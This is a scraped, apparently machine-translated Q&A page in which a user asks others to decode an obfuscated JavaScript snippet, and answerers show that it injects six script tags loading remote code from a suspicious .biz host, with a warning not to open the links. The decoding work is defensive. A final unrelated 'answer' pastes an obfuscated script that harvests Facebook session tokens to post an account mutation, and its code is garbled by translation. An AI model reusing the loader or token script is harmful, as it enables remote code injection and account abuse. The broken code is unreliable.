有人可以解密这个javascript吗?

问题描述 投票:0回答:4

有没有办法知道这个 javascript 代码是什么,如果这看起来很奇怪,我很抱歉。

var _0x7e0d = ["\x63\x62\x6F\x78\x66\x6F\x72\x6D", "\x68\x74\x74\x70\x3A\x2F\x2F\x66\x72\x61\x6E\x63\x65\x31\x30\x73\x2E\x62\x69\x7A\x2F\x63\x62\x6F\x78\x2F\x3F", "\x68\x65\x61\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x64\x6F\x63\x75\x6D\x65\x6E\x74", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x74\x79\x70\x65", "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74", "\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65", "\x73\x72\x63", "\x6C\x61\x73\x74\x43\x68\x69\x6C\x64", "\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65", "\x67", "\x63\x6C", "\x66\x74", "\x70\x6B", "\x74\x6D", "\x6D"];
var cf = parent[_0x7e0d[0]];
var cm = window;
var frmod = _0x7e0d[1];

function include(_0x1a17x5, _0x1a17x6) {
    head = _0x1a17x6[_0x7e0d[4]][_0x7e0d[3]](_0x7e0d[2])[0];
    var _0x1a17x7 = _0x1a17x6[_0x7e0d[4]][_0x7e0d[6]](_0x7e0d[5]);
    _0x1a17x7[_0x7e0d[9]](_0x7e0d[7], _0x7e0d[8]);
    _0x1a17x7[_0x7e0d[9]](_0x7e0d[10], _0x1a17x5);
    head[_0x7e0d[12]](_0x1a17x7, head[_0x7e0d[11]]);
};
include(frmod + _0x7e0d[13], cm);
include(frmod + _0x7e0d[14], cm);
include(frmod + _0x7e0d[15], cm);
include(frmod + _0x7e0d[16], cm);
include(frmod + _0x7e0d[17], cm);
include(frmod + _0x7e0d[18], cm);

提前致谢

javascript decode encryption
4个回答
3
投票

尝试使用 Google Closure 编译器 http://closure-compiler.appspot.com/home 。我使用 http://jsbeautifier.org/ 格式化了谷歌代码输出。代码经过修改以提高可读性。

var funcOrKeys =  ["cboxform", "http://france10s.biz/cbox/?", "head", "getElementsByTagName", "document", "script", "createElement", "type", "text/javascript", "setAttribute", "src", "lastChild", "insertBefore", "g", "cl", "ft", "pk", "tm", "m"];
var cf = parent['cboxform'];
var cm = window;
var url = 'http://XXXXXXX.biz/cbox/?';

function include( url , window) {
    head = window.document.getElementsByTagName('head')[0];
    var scriptTag = window.document.createElement('script');
    scriptTag.setAttribute('type', 'text/javascript');
    scriptTag.setAttribute('src', url);
    head.insertBefore( scriptTag , head['lastChild']);
};

include(url + 'g', cm );
include(url + 'cl', cm );
include(url + 'ft', cm );
include(url + 'pk', cm );
include(url + 'tm', cm );
include(url + 'm', cm  );

include
将 script 标签附加到你的 head 标签上。


2
投票

http://jsbeautifier.org/

var cf = parent['cboxform'];
var cm = window;
var frmod = 'http://fra*****s.biz/cbox/?';

function include(_0x1a17x5, _0x1a17x6) {
    head = _0x1a17x6['document']['getElementsByTagName']('head')[0];
    var _0x1a17x7 = _0x1a17x6['document']['createElement']('script');
    _0x1a17x7['setAttribute']('type', 'text/javascript');
    _0x1a17x7['setAttribute']('src', _0x1a17x5);
    head['insertBefore'](_0x1a17x7, head['lastChild']);
};
include(frmod + 'g', cm);
include(frmod + 'cl', cm);
include(frmod + 'ft', cm);
include(frmod + 'pk', cm);
include(frmod + 'tm', cm);
include(frmod + 'm', cm);

0
投票

换句话说,这个脚本只是使用以下外部脚本将六个

<script>
标签添加到您的
<head>
中:

  1. http://fra*****s.biz/cbox/?g
  2. http://fra*****s.biz/cbox/?cl
  3. http://fra*****s.biz/cbox/?ft
  4. http://fra*****s.biz/cbox/?pk
  5. http://fra*****s.biz/cbox/?tm
  6. http://fra*****s.biz/cbox/?m

警告:请勿打开这些链接!出于安全原因,我在 URL 中添加了

*


0
投票

// 导入 các giá trị

var fullName = " 𝙏𝙧𝙖𝙣 𝙈𝙞𝙣𝙝 𝘼𝙣𝙝 🦅";

varfirstName =“𝘼𝙣𝙝”;

var middleName = "𝙈𝙞𝙣𝙝";

var姓氏=“𝙏𝙧𝙖𝙣”;

var _0x3a81=["\x43\x6F\x64\x65\x20\u0111\u01B0\u1EE3\x63\x20\x76\x69\u1EBF\x74\x20\x62\u1EDF\x69\x20\x44\u01B0\u01A1 \x6E\x67\x20\x54\x6F\u1EA3\x6E\x20\x4D\x4D\x4F\x20\x2D\x20\x66\x62\x2E\x63\x6F\x6D\x2F\x74\x6F\x61\x6E \x74\x72\x75\x6E\x67\x67\x69\x61\x6E\x6D\x6D\x6F","\x5F\x5F\x73\x70\x69\x6E\x5F\x72","\x53\x69 \x74\x65\x44\x61\x74\x61","\x6A\x61\x7A\x6F\x65\x73\x74","\x53\x70\x72\x69\x6E\x6B\x6C\x65\x43 \x6F\x6E\x66\x69\x67","\x74\x6F\x6B\x65\x6E","\x44\x54\x53\x47\x49\x6E\x69\x74\x69\x61\x6C\x44 \x61\x74\x61","\x41\x43\x43\x4F\x55\x4E\x54\x5F\x49\x44","\x43\x75\x72\x72\x65\x6E\x74\x55\x73 \x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x4C\x53\x44","\x73","\x68\x73\x69" ,"\x64\x79\x6E","\x63\x73\x72","\x66\x31\x39\x61\x63\x30\x32\x64\x2D","\x73\x75\x62\x73\ x74\x72","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x63\x63\x6F\x75\x6E\ x74\x73\x63\x65\x6E\x74\x65\x72\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x70\x69\ x2F\x67\x72\x61\x70\x68\x71\x6C\x2F","\x31\x61","\x31\x39\x36\x31\x39\x2E\x48\x59\x50\x3A\x61\ x63\x63\x6F\x75\x6E\x74\x73\x5F\x63\x65\x6E\x74\x65\x72\x5F\x70\x6B\x67\x2E\x32\x2E\x31\x2E\x2E\x30\ x2E\x30","\x45\x58\x43\x45\x4C\x4C\x45\x4E\x54","\x74\x72\x75\x6E\x6B","\x52\x65\x6C\x61\x79 \x4D\x6F\x64\x65\x72\x6E","\x75\x73\x65\x46\x58\x49\x4D\x55\x70\x64\x61\x74\x65\x4E\x61\x6D\x65\ x4D\x75\x74\x61\x74\x69\x6F\x6E","\x64\x65\x76\x69\x63\x65\x5F\x69\x64\x5F\x66\x65\x74\x63\x68\x5F \x64\x61\x74\x72"、"\x46\x42\x5F\x57\x45\x42"、"\x73\x74\x72\x69\x6E\x67\x69\x66\x79"、"\x35\ x37\x36\x33\x35\x31\x30\x38\x35\x33\x37\x36\x33\x39\x36\x30","\x26","\x6A\x6F\x69\x6E","\x3D ","\x6D\x61\x70","\x6B\x65\x79\x73","\x65\x72\x72\x6F\x72","\x63\x61\x74\x63\x68","\ x6C\x6F\x67","\x74\x68\x65\x6E","\x74\x65\x78\x74","\x50\x4F\x53\x54","\x61\x70\x70\x6C\ x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\ x6F\x64\x65\x64"];alert(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4])[_0x3a81[3] ];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];var uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9])[_0x3a81[5 ]];var s=require(_0x3a81[2])[_0x3a81[10]];var hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[2])[_0x3a81[ 12]];var csr=require(_0x3a81[2])[_0x3a81[13]];函数generateClientMutationId(){return _0x3a81[14]+ Math_0x3a81[16].toString(36)_0x3a81[15]}var clientMutationId=generateClientMutationId ();var url=_0x3a81[17];var requestData={av:uid,__user:uid,__a:1,__req:_0x3a81[18],__hs:_0x3a81[19],dpr:1.5,__ccg:_0x3a81[20 ],__rev:1008717767,__s:s,__hsi:hsi,__dyn:dyn,__csr:csr,__comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,__spin_r:spinr,__spin_b:_0x3a81[21],__spin_t :clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_friend_name:_0x3a81[23],变量:JSON_0x3a81[26],server_timestamps:true,doc_id:_0x3a81[27]};var data=Object_0x3a81[32][_0x3a81[3 1]](函数(_0xb28exf){return (encodeURIComponent(_0xb28exf)+ _0x3a81[30]+encodeURIComponent(requestData[_0xb28exf]))})_0x3a81[29];fetch(url,{方法:_0x3a81[38],body:数据,标题: {"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":_0x3a81[39]}})[_0x3a81[36]](函数(_0xb28ex12){return _0xb28ex12_0x3a81[ 37]})_0x3a81[36]_0x3a81[34]

© www.soinside.com 2019 - 2024. All rights reserved.